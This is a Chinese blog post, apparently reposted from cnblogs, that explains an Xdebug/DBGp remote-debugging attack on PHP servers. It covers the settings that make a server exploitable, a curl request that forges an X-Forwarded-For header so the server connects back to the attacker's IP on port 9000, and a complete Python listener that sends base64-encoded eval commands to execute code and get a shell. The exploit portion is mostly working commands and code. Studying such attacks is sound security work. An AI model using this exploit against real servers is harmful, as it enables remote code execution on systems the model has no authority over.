• xdebug插件攻击


    title: xdebug插件攻击
    date: 2017-09-30 17:08:38
    tags:
    前一阵突然看到一个有关于xdebug的一个攻击面,不得不说这个想法还是很有意思的.自己搭环境记录一下.

    关于Xdebug的攻击

    刚学php的时候用的phpstorm,当时为了动态调试,配置Xdebug配了很久,当时对这个有一个比较模糊的认识,当时觉得是在浏览器还有ide还有server之间是有某些数据交互的,第一次配的的时候当时ide一直监听收不到数据,当时想要是自己可以操作数据来测试哪里出问题就好了,一直耿耿于怀,前一阵突然看到一个有关于xdebug的一个攻击面,不得不说这个想法还是很有意思的.

    Xdebug调试的工作流程

    1.ide开始调试监听本地9000端口

    2.浏览器发送一个带有XDEBUG_SESSION_START的请求发给服务端

    3.服务端收到这个参数,就会通知xdebug

    4.xdebug收到通知了就会向来源的地址的9000端口发送一个请求

    5.ide收到请求并响应建立连接

    之后就是相互通讯然后调试代码了

    首先Xdebug有关于远程调试是使用的DBGp协议

    下面是有关于通讯流程的一个演示

    利用条件

    一般来说关于xdebug.remote_host这个配置默认是localhost也就是默认通讯的的都是localhost,这明显不利于我们的利用

    但是如果xdebug.remote_connect_back这个配置启用的话xdebug.remote_host就会被忽略,并通过$ _SERVER ['HTTP_X_FORWARDED_FOR']和$ _SERVER ['REMOTE_ADDR']变量来获取ip

    还有一个就是要开启xdebug.remote_enable,这个开关控制Xdebug是否应尝试联系正在监听主机和端口的调试客户端

    xdebug.remote_connect_back = 1
    xdebug.remote_enable = 1
    

    也就是这两个是必要条件

    利用方式

    DBGp 的文档有一些敏感的操作

    1.读文件

    source -i transaction_id -f fileURI

    2.eval

    eval -i transaction_id - {DATA}

    只需要构造请求的参数,XDEBUG_SESSION_START=xxx

    还需要构造XFF头

    然后检测服务端是否对XFF的地址的9000端口进行请求,就可以判断是否可以利用,

    curl 'http://localhost/1.php?XDEBUG_SESSION_START=phpstrosssm' -H "X-Forwarded-For: localhost"

    利用的exp这里之间粘贴原文章的,就是建立一个tcp的连接监听9000端口然后安装协议发送数据就可以了

    #!/usr/bin/python2
    import socket
    
    ip_port = ('0.0.0.0',9000)
    sk = socket.socket()
    sk.bind(ip_port)
    sk.listen(10)
    conn, addr = sk.accept()
    
    while True:
        client_data = conn.recv(1024)
        print(client_data)
    
        data = raw_input('>> ')
        conn.sendall('eval -i 1 -- %sx00' % data.encode('base64'))
    

    利用方式就是先运行exp监听9000端口

    获取连接curl 'http://localhost/1.php?XDEBUG_SESSION_START=phpstrosssm' -H "X-Forwarded-For: 你的公网ip地址"

    然后exp接收到连接就可以调用system函数弹shell了.

  • 相关阅读:
    IOS开发---菜鸟学习之路--(二十四)-iOS7View被导航栏遮挡问题的解决
    IOS开发---菜鸟学习之路--(二十三)-直接利用键值对的方式来处理数据的感想
    IOS开发---菜鸟学习之路--(二十二)-近期感想以及我的IOS学习之路
    一口一口吃掉Hexo(六)
    一口一口吃掉Hexo(二)
    setSupportActionBar(toolbar)导致程序崩溃闪退
    【原创+译文】官方文档中声明的如何创建抽屉导航栏(Navigation Drawer)
    【文章内容来自《Android 应用程序开发权威指南》(第四版)】如何设计兼容的用户界面的一些建议(有删改)
    如何为按钮设置一组不同状态的颜色
    如何避免Activity 被杀死
  • 原文地址:https://www.cnblogs.com/p00mj/p/11797781.html
Copyright © 2020-2023  润新知